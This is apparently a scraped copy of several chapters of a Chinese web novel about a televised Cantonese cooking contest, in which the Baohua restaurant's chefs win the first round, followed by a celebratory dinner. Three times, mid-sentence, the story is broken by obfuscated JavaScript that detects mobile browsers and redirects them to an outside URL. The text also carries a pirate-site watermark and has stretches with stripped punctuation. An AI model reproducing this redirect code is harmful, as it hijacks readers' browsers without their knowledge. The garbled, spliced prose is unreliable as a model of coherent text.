现在大家已经接受了宝华楼这家老牌粤菜酒楼，偶尔会爆出一两道西北菜，所以宝华楼的厨子带西北的馍馍和辣椒面参赛，也正常。 主持人宣布：“大赛开始。” 第103章 第一场比赛（上） 一集四五十分钟的片子，需要长达半天的拍摄。 第一个阶段是准备阶段，做菜准备时间很长，按照大赛规定，只要没有最后切了装盘都可以算在准备阶段。 两个参赛队伍去取食材，春风楼先拿了肉、鸡、乳鸽和芋头，宝华楼也拿了肉和鸡，另外拿了猪爪、鸡爪。 杨裕合、乐梅还有港城和澳城两家大酒楼总厨，是今天的专业评委。 春风楼的厨子，把猪肉去了皮，宝华楼正在剁鸡肉的阿星问对方：“肉皮不用的话，给我们行吗？” 春风楼的助手把那块肉皮送了过来，阿星谢过，他用**燎了猪皮，去除剩余的猪毛，还能去腥。 春风楼正在切肉腌肉，宝华楼的阿明剁鸡肉，阿星从五花肉上取了一块猪皮上的油脂去掉。 杨裕合解说：“可以看出，春风楼不走新奇路线，就是拿出他们最有实力的招牌菜，可见他们是把宝华楼当成了强有力的对手。” 另外一位大厨说：“我们酒楼要是参赛，我也肯定打起十二分的精神对付宝华楼，毕竟你根本猜不到岳宁会出什么菜来对付你。” 乐梅拿起话筒：“我确实不知道。你们说岳宁这个西北的馍馍是有什么秘密吗？” 这是一个需要解答的疑问。 两家都拿起了锅子，春风楼把切成块的荔浦芋头蒸上，宝华楼则是鸡爪、猪蹄和猪皮焯水。 阿明这会儿去配料区拿来了瑶柱和火腿，阿星刮掉了猪皮上残余的肥肉，切成了细条，和鸡爪、猪蹄、老母鸡，再加上瑶柱和火腿，加上葱姜料酒，放在高压锅里炖煮。 专业评委解释：“看出来了，宝华楼这是要做皮冻了。岳宁南北菜都擅长，这是要做汤包？” 阿明去原料区，提了一只鸡，边上放着海味公司赞助的东西，为了方便厨师使用，沙虫干已经提前清洗干净，海参、花胶都提前泡发好了。 阿明拿起了沙虫干，回到案台边，把童子鸡放边上，又拿了一把煮皮冻剩下的瑶柱，跟清洗干净的沙虫干放一起。 刚才煮皮冻还剩下大半只老母鸡，阿明从鸡肚子里拿了一块鸡油，转头开火炼鸡油。 他在鸡油里加上葱姜，火焰升腾而起。一半鸡油倒了出来，留下余料和底油，他把火调小，再加入了瑶柱和沙虫干。 杨裕合有些意外：“难怪宝华楼的豉油鸡那么好吃，不过在豉油鸡里加瑶柱和沙虫干， 是不是太奢侈了？” “要是宝华楼的豉油鸡是加了瑶柱和沙虫干豉油鸡速食面里没有瑶柱和沙虫干是不是就不算是正宗的宝华楼豉油鸡？”另外一个专业评委开玩笑。 乐梅说：“也许这个是宁宴的豉油鸡呢？我吃过宁宴的豉油鸡和白切鸡跟宝华楼的这两种鸡是有区别的。” “也有可能。” 豉油鸡肯定要加豉油他们却看见阿明加了一勺清水下去。 “他这是在吊高汤？” “吊高汤不用鸡骨猪骨光加瑶柱和沙虫干也不加火腿？这些都是提鲜的配料不能做高汤主料。” 就在这时阿明拿了一个深锅过来。 看到深锅评委又疑惑了说：“这是要干什么？” 只见阿明把烧开瑶柱沙虫汤倒入了深锅开始加入大量的水。 一个厨师评委说：“这是做白切鸡。” “白切鸡为什么要加瑶柱和沙虫？” 评委们在讨论观众席上的岳宁满脸笑意地看着台上显然对自家队伍很满意。 就在一瞬间岳宁的脸色变了她伸手捂住了自己的眼。 这一瞬间她想死的心都有了她的阿明叔啊！他们虽然没有血缘关系但是他们可真是像得一塌糊涂她做菜喜欢试新配方他也喜欢。平时自己会鼓励他可这个时候是他创新的时刻吗？这位老兄往锅里添上了红枣、党参没什么大问题加入花椒也就算了他还在加桂皮和香叶？这不是胡来吗？ 岳宁见阿星切萝卜切得刀飞快她让阿星跟阿明搭档就是要两人配合取长补短也能以他对菜谱的熟悉管住天马行空的阿明叔。可阿星还在用花刀切萝卜没看见。 完了完了！看看春风楼的老师傅行云流水自家这个叔叔……一日游吧！ 岳宁手挡住了脸宋自强见她这样 岳宁放下手跟宋自强说：“阿明叔乱放调料味道不对了。” “那么一大锅水这么点调料吃不出来的。”宋自强说。 宋局长又不是这方面的专业人士他又不懂岳宁也没办法跟他解释这种比赛尤其是跟老牌酒楼比味道差了一点那就是天差地别了。 不管怎么样完成比赛就好了。岳宁告诉自己。 阿明往锅里加盐还往岳宁看去岳宁不想带给他压力就当成是后厨的一次练习 ，对着他扯出了一抹笑容。 “他怎么加盐，白切鸡不可以加盐。”乐梅说。 杨裕合摇头：“我在宁宴吃的白切鸡，鸡皮下有啫喱冻，那个啫喱冻是有淡淡的咸味。” 他偏头轻声跟乐梅说：“你看岳宁的表情，应该就是这样的吧？” 阿明已经完成了两浸两提，前面两次浸泡过冰水，都是短时间的，这一次要浸泡熟，需要半小时，他调了计时器放在边上。 他去拿其他材料，评委讨论了一番春风楼的叉烧和豉油鸡的好味。 又点评正在切菜的阿星，杨裕合说：“宁宴的招牌菜，卖一百八的群英荟萃。” 乐梅也熟悉这道菜，她笑：“又叫萝卜开会，今天的特邀嘉宾是？” 杨裕合与乐梅一搭一档说起宁宴的这道经典菜品，每次去特邀来宾肯定会换，只见阿星拿了两个大响螺，这下大家知道了，今天的特邀嘉宾是海螺。 阿明去拿来了牛肉，切了牛肉粒，放在边上备用。 专业评委说：“宝华楼的第一道热菜是黑椒牛肉粒。” 却见阿明从阿星手里接过两个敲碎的响螺去清洗螺肉。 把切好的萝卜泡进水里的阿星，清洗了案板，把牛肉粒给剁泥了。 “所以不是黑椒牛肉粒？” 专业评委发现自己又猜错了。 对方多好猜，他们拿了一个大龙虾过来。 这时阿明也去要了一条鱼，他要普通的鲩鱼，他们只要点鱼，杀鱼有人会做。 阿明把高压锅的火给停了。 鲩鱼过来，阿星开始片鱼。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15915460|176918||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “不愧是福运楼第一刀，看他切菜，实在是享受。” “确实，内地还是有能人的。” 台上的评委在点评，阿明去捞了一碗活九节虾过来，把虾给剥了，虾仁给了阿星，自己拿走了虾头。 阿明开火，在锅里把虾头煸炒出香味，加了姜蒜烹了米酒，这时候高压锅气已经放完，他把高压锅里炖的东西，连汤带料倒入煸炒出虾油的虾头里。 “他这是要在皮冻里加上虾油？” “你看马耀星在剁虾泥，所以他们这道点心是带汤的虾饺？虾饺的水晶皮没有劲性，能包住这么多汤汁吗？” 听见白切鸡的定时器响了，阿明这边调了小火，去把浸鸡的锅给关了火，从制冰机里舀了半盆冰块过来。 他过来把浸鸡的鸡汤舀进冰块了，热鸡汤碰上冰块，冰块迅速 化开，鸡汤也快速冷却，鸡汤冰凉，他从锅里提起鸡浸泡在冰冷的鸡汤里。 “这是用冰鸡汤浸鸡？我是第一次看到。”评委说。 “是啊！平时大家都是冰水浸鸡。没见过用鸡汤的，这是想做什么呢？” “宁宴的菜很有特点，他们做法比较新奇，也正常。” 阿明把鸡浸在冰鸡汤里，转头去给做皮冻的汤汁调味，调了味道，他将汤汁过滤两遍，倒入不锈钢盆中，又去拿了半盆冰，把不锈钢盆放到冰块上，让皮冻快速凝固。 阿星把虾泥剁好了，阿明接过，拿了木锤开始捶打虾泥。 “他这是要把虾泥捶打出弹性，看起来他们是要用虾胶包裹皮冻，这样汁水在虾胶中间，不会让虾饺皮破。”专业评委说。 这边阿星又开始秀他的刀工，把五花肉片成可以透光的长条。 “五花肉片做什么？”乐梅问。 “不知道。” 阿星五花肉片好了，他去拿了一个菠萝，一个橙子，切了起来。 “菠萝咕噜肉？可为什么要五花肉切片？”专业评委说道。 杨裕合突然想起来说：“古法咕噜肉就是这样，用五花肉切片，调味之后浸泡蛋液裹成球。做成咕噜肉。” 观众席上，曾经被岳宁夸咕噜肉好吃的刘老板看向岳宁，他们根本不会这样做咕噜肉。 岳宁跟他说：“福运楼的传承，不过宝华楼也不会用这种麻烦的方式，宁宴是这么做的。” 刘老板恍然。 宋自强问岳宁：“就是冰火咕噜肉吗？” “对。” 阿明做着咕噜的肉球，阿星片好了汆过水的海螺切了丝，放在边上，他开始做盘饰，他没岳宁的本事，但是拼个葫芦，拼几朵花还是会的。 随着时间流逝，主持人提示：“准备阶段结束，请十五分钟之内出两道凉菜。” 阿明用岳宁教的方子调味，做了西北的红油，把萝卜丝拌海螺丝给调了味道，装到盘里。 再用葱姜蓉加盐浇油调了一个经典的白切鸡调味料。 阿星也已经从冰鸡汤里，把那只鸡给提了起来，斩了装盘。 阿明举手，主持人宣布：“宝华楼前菜完成。” 很快对方也举手，主持人说：“春风楼前菜也完成。” 第104章 首场比赛（中） 两家的前菜全部完成，四盘菜先请专业评委鉴赏。 春风楼是蜜汁叉烧和豉油鸡，都是他们楼里的招牌。 叉烧表面油润红亮，切开后，看得出来是用的梅头肉，汁水欲挂未挂，烤得刚刚好。 无鸡不成宴，这道玫瑰豉油鸡，不是用传统的豉油焗鸡的方式，而是用了和白切鸡一样的浸烫来保证鸡皮爽滑，鲜嫩。 他们的卤料是自带的，细节也就不得而知了。 宝华楼这边的两道菜，红油四色萝卜丝拌海螺丝。 在宁宴，这道菜虽然卖得贵，但是去吃的大多是不差钱的主，尤其是每天和萝卜拌的海鲜不会重样，味道还有酸甜、酸辣和葱油三种口味。居然就成了每桌必点的一道菜。 这个白切鸡是白切鸡，不过切出来鸡皮和鸡肉之间有一层晶莹剔透的鸡汁冻。 岳宁在吃了爷爷的白切鸡和外头好多家白切鸡之后，发现这个年代，大家还没追求这一层啫喱冻，白切鸡偶尔会有啫喱冻，有就有了，也没人当回事。 几十年后可不这样，在粤城带啫喱冻的白切鸡自成一派。 各家有各家的做法，岳宁认为如果用白水煮，这个冻就会淡而无味，为了追求风味，浸烫白切鸡就不能用白水，要是简单一点，葱姜料酒盐和鸡精，复杂一点，用松茸和瑶柱替代鸡精，做到鸡汁有味，但是鸡肉不能像盐焗鸡一样咸鲜。 现在桌上这个白切啫喱鸡，看上去是她的啫喱鸡，实际上，不说也罢。 礼仪小姐分了餐，给专业评委送上，剩下的菜则是随机抽取十个观众作为大众评委，专业评委打分占70%，大众评委占30%。 两支队伍站在一起等待专业评委点评，豉油鸡和白切鸡，是粤菜经典中的经典，评委先说这两款鸡。 杨裕合先点评：“两家做的鸡有相似点，春风楼的豉油鸡用了白切鸡的浸烫，宝华楼的白切鸡用了豉油鸡的香料卤制。这刚好展示了，取长补短和乱来的区别。” 张骏明被批评就像在自家厨房一样，嘿嘿一笑。 杨裕合抬头看张骏明：“张大厨，我没给你面子，是因为我吃过宁宴白切啫喱鸡，鸡汁冻爽滑鲜美带着淡淡的咸味，但是鸡肉又能吃出鸡肉的本味。” “对的，春风楼的豉油鸡鸡皮有白切鸡的爽滑，还有白切鸡的鲜嫩多汁，却又没有失去豉油鸡味道鲜、甜、咸、香的特点，真的是恰到好处 。”乐梅点评。 大厨评委先品评了春风楼的豉油鸡，同意前面两位评委的说法，他对阿明的白切鸡是这么说的：“一直以来，我时常苦恼白切鸡里出现的这个冻，寡淡无味，只要冰水浸泡时间过长就会出现大块的冻，所以我一直在想怎么缩短浸泡时间，又能保持鸡皮爽滑。现在你告诉我，没办法消除，就不要消除了，进行调味了就好，这是一条很好的思路。不过你加炖汤料就算了，那么大的水，红枣、党参之类的不会太影响鸡的味道，但是桂皮和香叶是极其浓郁的香料，白切鸡吃本味，你把这个鸡变成了白卤鸡。” 阿明笑着说：“我是看宁宁和阿星做重庆白卤鸭的时候，有的想法。” 另外一个大厨评委说：“尝试是好事。但鸡和鸭不同，鸭有味道，所以更适合加料之后，烤或者卤，几乎没有完全白煮的。但是，鸡有鲜味，所以《随园食单》就说了白煮鸡，只要盐巴做蘸料已经是美味。如果你想做卤鸡，那么卤汤太淡，卤料不够多，味道也没进去。” 专业评委说完，让观众评委发言，观众评委问台上的阿明：“张大厨，你知道你刚才放香料的时候，你们家岳宁是什么个表情吗？” 这位观众做了一个捂住眼睛的动作，全场爆发出笑声，他说：“她都不敢看了。” 阿明震惊地看着岳宁，岳宁站起来，现在的话筒都是有线的，她走了出来，主持人把话筒递给她，她看着台上的阿明说：“阿明叔，别人家都是师傅和老板派出来参赛，输了可能还会被骂。你是我这个师侄女送你出来比赛，你输了，我又不能以下犯上打你，对吧！认真比赛就好。就是创新很好，我们能回家试吗？” 全场笑得更大声了，阿明摸了摸额头：“知道了。” 另外一道，哪怕两家各有千秋，第一场比试，宝华楼因为阿明的创意，已经大幅度落后了。 跟高手对决，本就胜算不算太大，还落后这么多。岳宁只能安慰自己，好歹不是技术上的差距。 好好比下一轮吧！ 第二轮，热菜环节开始。 阿明开了锅用鸡油熬鱼头鱼尾和鱼骨。阿星则是把已经冻成的虾油皮冻切成了小块，再拿出据说是岳宁亲手做的那个西北白面馍馍，把白面馍馍切成了小丁。 阿明在锅里加上了水，熬起了鱼汤，设定也是半个小时，他过来和阿星一起用调味好的虾胶包裹了 皮冻，再滚上白面馍馍丁 乐梅说：“这是在做热菜？” “爆汁百花球。”杨裕合说，“应该是叫这个名吧？” 粤菜中虾滑大多称呼为百花，所以有了百花酿鸭掌，百花酿鲜带子。 阿明和阿星一起做好了虾球，他开了油锅，第一遍虾球油锅，第二遍则是用热油浇淋在虾球上。 阿星则是拿出了他的工具，和面，用色素调了颜色，红色的圆球，红黄蓝三色小圆片叠出眼睛，白色小条条裹红色圆球上，剪刀剪出胡须…… 这个时候春风楼的第一道菜龙腾四海已经出菜了，热菜不能一起上，温度相差一点点，口味相差就大了。 春风楼的龙腾四海，中间摆上龙虾头上翘，虾尾拱形，拼出完整的龙虾样子，一虾四味，两边这是放着四个碗，一个碗是龙虾黑松露蒸蛋羹，一个是花胶虾脑汤，还有XO酱干烧龙虾和葱油龙虾。 评委们正在品尝春风楼的菜，眼睛却看着宝华楼，阿星把一只憨态可掬的醒狮放在盘子中间。 新炸出来的虾球围在狮子周围，盘子边上花边打围，为了装盘效果，里面只有六个虾球，观众评委的那一盘在边上，没有小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15915461|176918||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 狮子。 阿明举手：“醒狮戏珠。” 两家都是主打传统吉祥如意，但是就这个手工制作的醒狮比龙虾壳摆盘，技艺就高出了不少。 春风楼是龙虾四吃，宝华楼是一个虾球外脆里中嫩，里爆汁。那个味道只能说绝了。 乐梅看着这个可爱的小狮子说：“应该是时间不够，要是有时间，给马大厨，他就能做醒狮酥了。” “这么可爱的小狮子，你都想吃？” 春风楼那里香气逼人，他们正在做生啫脆肉鲩，宝华楼则是在炸五花肉片滚成的球。 这次还是春风楼先完成。 评委们正在吃春风楼的生啫脆肉鲩。 脆肉鲩是粤省食品进出口公司一直在推的产品，岳宁发现上辈子常见的食材，这辈子价格还挺贵，问了进出口公司的同志才知道，这种煮不烂的草鱼才培育出来六年，而且品质不稳定，要花三年才能养成一批。 岳宁去春风楼的时候就吃到了脆肉鲩，原来刘老板是中山人，这是老家请他帮忙在港城推这个新品种。 脆肉鲩肉脆弹牙，鲜甜清香，无论是打边炉还是做啫啫煲都很好吃。 几位评委不遗余力地称赞这道菜好吃，倒不是因为进 出口公司是这次节目的赞助商，确实味道新奇且好吃。 宝华楼这里阿明正在调制咕噜肉的酱汁，阿星把冰块装在竹垫上，等阿明的咕噜肉做好立刻盛在冰块里，他们的冰火咕噜肉也做好了。 这下评委点评阿明的咕噜肉。 “这道菜，是顶顶的传统菜。只是这个冰火咕噜肉，现在很少人会用肉片裹球了。 “我学厨的时候，只知道选梅头肉或者五花肉，也有选排骨，但是真没学过这样做，外冷，内热，甘，香，脆，酸甜可口，果香浓郁。 “古法消失了一段时间也成了新法了。 两家都已经做完热菜，站在一起等宣布第二轮结果。 两家的第一道菜，宝华楼完胜，春风楼的那道龙虾做得不错，但是缺乏创意。而宝华楼的虾球，剔除盘里的那只狮子。新奇丰富的口感，简直是让人爱**。 阿明跟大家说：“这个爆汁虾球是宁宴刚刚试出来的菜，还没推出，就被我拿来比赛了。 第二道菜，是各有千秋了，那个脆肉鲩的味道实在太特别了，生啫的做法，真的很惊艳。宝华楼则是把粤菜经典咕噜肉，据说是恢复了传统的味道，吃在观众嘴里却是新的，提升到了另外一个高度的咕噜肉。 一个是原材料上的突出，另外一个是做法上的惊艳。 最终第一道菜宝华楼追回了一点差距，第二道菜只是略微高了一点点，对总分没多少帮助。 剩下只有一道主食和一道羹汤了，追回比分可能已经很难了，观众悄悄地为宝华楼惋惜，也嫌弃起了台上的这个张大厨，他如果不来这么一个创意，宝华楼绝对能赢。 可人家老板和大厨，还乐呵呵地。 唉！真是皇帝不急太监急。 第105章 赢得比赛 岳宁当然乐呵呵，阿明叔瞎搞，她一转念，这个瞎搞得好啊！ 本来他们参加大赛，就是因为被质疑岳宝华的那几个手艺好的徒弟都跑了，留下的都是歪瓜裂枣，她从内地引入港城的厨子实际上都是没本事的学徒。 她用广告片澄清了，但是还不够。 现在阿明和阿星跟春风楼的老师傅比，除了阿明叔天马行空的白切鸡输了，其他几道可都没输，接下去两道，一道是阿明叔的煲仔饭，在自己跟他改进之后，他的煲仔饭说一句港城之内无对手都不为过，还有一道羹汤，有新意有口味，也不会出大问题。 这样输，实在输得太有面子了。比赛很耗费时间，宝华楼和宁宴都缺人，这样一日游，很好，特别好。 岳宁见春风楼的人正在摘番薯叶，这一轮比的是汤羹，春风楼主打传统，做的是潮汕传统名菜，太极护国菜羹？ 这道菜考究功力和口味，实际上就是做起来麻烦，对老师傅来说也很难做翻车。 宝华楼这里，阿明正在过滤鱼汤，阿星把泡发的裙带菜切了段给阿明。 岳宁老神在在地跟宋自强探讨内地粤菜酒楼的状况，要正视差距，也不能妄自菲薄。 宋自强表示同意，经过这场比赛，更坚定了他的信心。 春风楼做护国羹，专业评委都猜出来了，宝华楼这里，把包裹了牛肉泥的鲩鱼卷下入鱼汤里。这又是一个新菜式，等鱼汤再次烧开，阿明下了裙带菜，做了最后的调味。 阿星拿来一排汤盅，两个鱼肉卷铺在汤盅底，浇上一勺带着裙带菜的鱼汤。分完羹汤，阿明举手：“鲩鱼卷牛肉汤完成。” 春风楼那边还早，护国羹是耗费功夫一道菜，阴阳两级，绿色用番薯叶，番薯叶去掉叶片的经络，否则吃起来就不顺滑了，还要焯水去掉青涩，再细细剁成茸，用鸡油炒用高汤做成翠绿的羹。 传统的太极护国羹，是源自于南宋小皇帝逃到潮州，躲在一座庙里，庙里的和尚用豆腐和野菜给他做了一碗羹汤，而有了护国羹之名。 这本是斋菜，现在的酒楼里早就素菜荤。 白色一极，春风楼用了鸡胸肉，去掉筋膜剁细的鸡茸。 台上春风楼厨师做护国羹也要炼鸡油，坐在观众席上的刘老板看出了端倪，他们炼鸡油的时候和宝华楼有差别，宝华楼用几种葱混合，还加了其他料，他们就是葱姜。 春风楼大 厨在做菜，评委们正在品尝宝华楼队的汤，鱼汤奶白鲜香，细嫩鲜甜的鲩鱼肉片包裹着弹牙的牛肉馅，没有经过过多的调味，一口一个，每一口就是鲜，两个鱼片牛肉卷吃完，让人意犹未尽，评委们把汤都喝干净了。 阿明听评委们的品评大多是赞誉，他心里也高兴。宁宁跟他说他已经很厉害了，肯定不比楼家富差，他心里可不这么认为，那是多少年的功底，自己两三个月就能追上，那不是笑话吗？ 抽签抽到跟春风楼的大师傅比，他更是没信心了，宁宁跟他说就当成跟她一起在后厨试菜那样轻松，他倒是想啊！其实第一道菜，他就是像是中了邪一样，脑子里又是白切鸡，又是卤鸭子，很混乱。 做错了，看见比分拉大了，已经赢不了了，他反而就心定了下来，抱着做完就回家的想法，一道一道做下来。没想到后面几道菜的分数还挺高的，原来自己跟厉害的大师傅相差确实不大了。当然其中还有很大的功劳来自于阿星。阿星的刀工可是帮了好大的忙。 还有最后一道煲仔饭了，自己要是做不好，等下拿块豆腐撞死算了。 他看向对过，春风楼的大师傅已经做好了番薯叶羹，那也快了。 阿明已经去找米准备做煲仔饭了，大赛还是很周到，丝苗米和马坝油粘米都有，作为一个煲仔饭的行家里手，这方面他是一点都马虎不得。 他闻着腊味，这些腊味品质还不错。 突然，全场惊呼起来，他回头看去，隔壁大师傅眉头锁紧。他一时间看不清楚，走过去问阿星：“怎么了？ “师傅手滑，勺子没控制住，羹没有成太极图。 这？真是阴沟里翻船了。 春风楼队在比分大幅度领先的情况下，这道菜失手了 别的菜，摆盘不是重点，唯独这个菜，名字就叫“太极护国羹没有成太极，那就是重大失误了。 果然这一轮下来，宝华楼的鱼片卷牛肉汤表现优秀，但是，对方老马失蹄，宝华楼以微弱的优势反超了。 这下最后一道主食比拼就显得尤为重要。 场上气氛一下子热烈起来，就连宋自强都兴奋起来：“宁宁，宝华楼应该能赢。 虽然，她也认为宋自强说得有道理，做煲仔饭，阿明还不赢，就没天理了。但是谁知道呢？毕竟春风楼的老师傅会在护国羹上翻车。 阿明往岳宁看去，岳宁给他握拳头 ，让他加油。 他点头。他是宝华楼里最好的煲仔饭师傅。 两家都是做主厨拿手菜，春风楼荔浦芋泥酿乳鸽，宝华楼是腊味煲仔饭。 春风楼芋泥已经蒸好了，他们乳鸽开膛，去掉骨头，把芋泥酿在乳鸽坯上，再下油锅炸。 这次是他们这里先出，宝华楼的煲仔饭现淘米现煮饭，还要时间。 专业评委吃了春风楼的芋泥乳鸽在点评： “酥脆的表皮里是绵密的芋泥，配上流汁的乳鸽，而且乳鸽只有鲜味，没有一点腥味，很好吃。” “这也是一道传统功夫菜，脱胎于芋泥鸭，鸽肉比鸭肉更加细嫩，芋泥吸收了鸽肉鲜香，确实味道好。” “……” 专业评委对春风楼芋泥乳鸽评价再高，也影响不了阿明的心态，他按部就班地完成了煲仔饭。 当他揭开煲仔饭的那一瞬间，一股米香混合腊味的香气升腾而起，在现场散开，这已经是最后一道菜了，前面大家已经吃下了油炸的芋泥乳鸽，但是这个味道，还是让专业评委，嘴巴里津液泛滥。 阿明撒上了葱花，浇入调配好的料汁，料汁流入底部被炙烤，味道越发浓郁起来。 他再次盖上锅盖，关了火，香气消失了大半。 大家不满了， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15915462|176918||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼睛全部盯着那个砂锅。阿明再次揭开锅盖，拿起锅铲，轻轻地拌饭，油润松散的饭粒滚上了酱汁，他铲起锅底的锅巴，焦脆的锅巴，碰到锅铲立刻四分五裂，阿星递给他碗，他一小碗一小碗地盛。 评委席上的评委不禁觉得他太慢了，终于四小碗饭被礼仪小姐端到了专业评委那里。 观众评委等得更急，他们也等到了，而对现场其他人来说，这是折磨。 前排的观众说：“不行了，录完节目我就去宝华楼吃煲仔饭。太香了！” “我也去。” 岳宁弯腰，拍了拍前面那个姐姐的肩：“姐姐，明天去，宝华楼除了我和我爷爷，就他做的煲仔饭最好了。今天我们俩出来了，我爷爷在宁宴呢！明天，我爷爷和他都在宝华楼，你可以随意点他们俩的煲仔饭。” “哦哦！” “你明天在哪儿？” “大部分时间都在宁宴，准备9月16日开业呢！”岳宁轻声跟她说。 这次是大厨评委先说话：“这道煲仔饭，火候十足，香气迷人，锅巴酥脆不焦底，要说毛病的话，这一碗太少了，我想再多吃一 点。” “不愧是最擅长做煲仔饭的大厨。” 哪怕对方没有失误 说的域名ｃａｉｘｓ?(请来才小 说 看最新章节 完整章节)阿明的这个煲仔饭太出色了两家比分扩大主持人宣布宝华楼赢得这场比赛。 阿明跳起来对着岳宁说：“宁宁我真的可以呢！” 这一场比赛能赢不管是不是对方失误他们才赢得了比赛他们确实赢得漂亮：“信我的肯定没错。” 阿明转身过去抱起阿星：“阿星你太好了你真的太好了。” 阿星刚刚从内地过来他没阿明那么放得开使劲地推开阿明：“阿明阿明握个手就可以了。” 阿明被他推开反应过来自己实在太激动了。他定了定心神走过去跟春风楼的两位师傅握手。 那位大厨虽然输了却也很坦荡：“手艺确实很好。还有你们的花样也多我心服口服。” “谢谢！” 观众散场都在往外走岳宁过去跟刘老板握手：“德叔下次有空一起喝茶。” 刘老板笑着说：“其实我站在你们这一边。” “啊？” “谁家会把还没上菜单的新菜拿出来比赛？好了我看会了虾球和鱼片卷牛肉了。”刘老板拍了拍她的胳膊“希望你们能走到最后让我们看到更多新菜色。” 岳宁不管他是真心还是说为了面子已经很有风度了她笑：“谢谢您！” 送走了刘老板阿明和阿星已经等着了岳宁说：“我最近发现一家很好吃的意大利餐厅我们来庆祝一下阿明和阿星赢得第一场。” 刚好宋局长他们在内地粤菜是日常吃西餐的机会就很少了就算有西餐也不太好吃。岳宁邀请大家一起去吃饭。 阿明说：“宁宁我们先找个电话亭我要告诉师傅我晋级了。” 岳宁笑：“好好好！” 第106章 逛街市 这家意大利餐厅，岳宁力推，就在鸿安大酒店边上。 推门进餐厅，原木风的装潢，玻璃柜里陈列各种口味的，巨大的柴烧披萨，这些披萨可以一小块一小块地买。 上次崔慧仪带她过来，她们俩点了五种不同口味的披萨，岳宁吃撑了，还想吃。 今天人多，可以让她拼更多口味。 岳宁最爱的脆皮猪肉卷和加菲猫最爱的千层面也不能放过，黑胡椒炖牛肉也不能放过，岳宁还要点烩饭，阿明说：“宁宁，点他们的牧羊人派。” “牧羊人派不是英国的吗？”岳宁问。 “这是一个来港城的意大利厨子娶了个英国老婆。牧羊人派绝对好吃。”阿明跟她说。 岳宁在西北的时候，偶尔分到一小块羊肉，就曾经试着做过这个牧羊人派。这道菜对不太常吃外国菜的宋局长他们绝对友好。 宋自强这方面不懂，他趁着这个机会，刚好跟马耀星聊聊，问他来了之后的情况。 “和在福运楼完全不一样。以前在福运楼，罗师傅自己手艺就一般，他还怕我们学会了，抢他饭碗，还藏着掖着。现在我一天在宁宴跟着宁宁研究新的菜式，一天在宝华楼，华叔、阿松他们都会带我教我。我也会管好几个小学徒。”马耀星问宋局长，“罗师傅怎么样了？” “在干休所，其实挺适合他的。”宋自强见岳宁点好了菜，问岳宁，“我走了一下，看见街边有新叶便利店，我还坐了巴士去了那个鸿安大卖场。这些商店都是敞开的，让你自己选东西的，感觉很方便。我看大卖场的价格要比便利店便宜。” 这个世界绝大多数跟岳宁上辈子的世界类似，让岳宁意外的是，超市发展，尤其平价大卖场发展这块，按理说美国也是正在起步，上辈子在新世纪初傲视全球的那家美国商超集团，这个年代也只是开始农村包围城市，正在美国国内慢慢成长。 这个世界港城和东南亚的商超发展得特别快，鸿安是其中的佼佼者。 鸿安大酒店和鸿安百货回到国内是鸿安创始人叶进生老先生的遗愿，而超市卖场，岳宁听三姨妈和大舅舅的意思是，等酒店和百货先回去之后，再往后推进，一步一步来。 “宋局长，你还自己去鸿安大卖场？很厉害。” 现在的鸿安百货公司的位置，据说是鸿安大卖场的前身鸿安平价惠民商店的原址，随着港城人口增加，铜锣湾这 里已经成了热闹街区，鸿安集团就在这里建起了百货公司和大酒店，大卖场迁走了。 “百货公司，有定点班车很方便的。 还有这个？岳宁都不知道。她说：“卖场和便利店是完全不同的模式，大卖场主打的就是量大价格优惠，便利店是提供高频率，小容量，应急的东西，开在你身边，随时随地可以买到。 “我了解了一下，新叶便利店和鸿安大卖场都属于鸿安集团。咱们跟乔家和叶家都有联系，可我还是得回去，通过朱副市长联系才行。下次再出来不知道什么时候了。听说你和乔家二公子在处对象，要不你帮忙介绍一下？百货公司的生意更加偏向于一商局，超级市场和二商局更加相关。让我能听专业人士讲解一下，这样回去跟领导汇报也能更加全面一些？ “等下，我们一起回酒店，我打个电话给我三姨妈，请她安排一下。 前菜上来，侍应生端来了餐前酒，他们餐厅有酒精度非常低的调和起泡酒，甜甜的口感非常清爽。 岳宁做餐饮，她会品世界各地的酒，但是对外她一概说不会喝酒，要不然那些场合，这个要你给面子，那个说一定要喝一口，非喝出毛病来不可。 这辈子也是如此，厨房里她会品酒，出了厨房，她基本就不碰酒了，当然这种小朋友都能喝的饮料除外。 她举杯：“领导，跟我一起祝贺一下张大厨和马大厨，旗开得胜。 宋自强举起酒杯：“张大厨、马大厨，我先预祝你们拿下厨王头衔。 “领导，您这个祝福言之过早了。阿明说。 阿星说：“经过今天，你还没信心？ “有有！ 岳宁笑着跟阿明说：“我们要战略上藐视对手，战术上重视对手。要相信自己！ 阿明点头，跟她碰杯：“一定。 腌制的生牛肉片做的前菜，并不是很合内地三位同志的胃口。 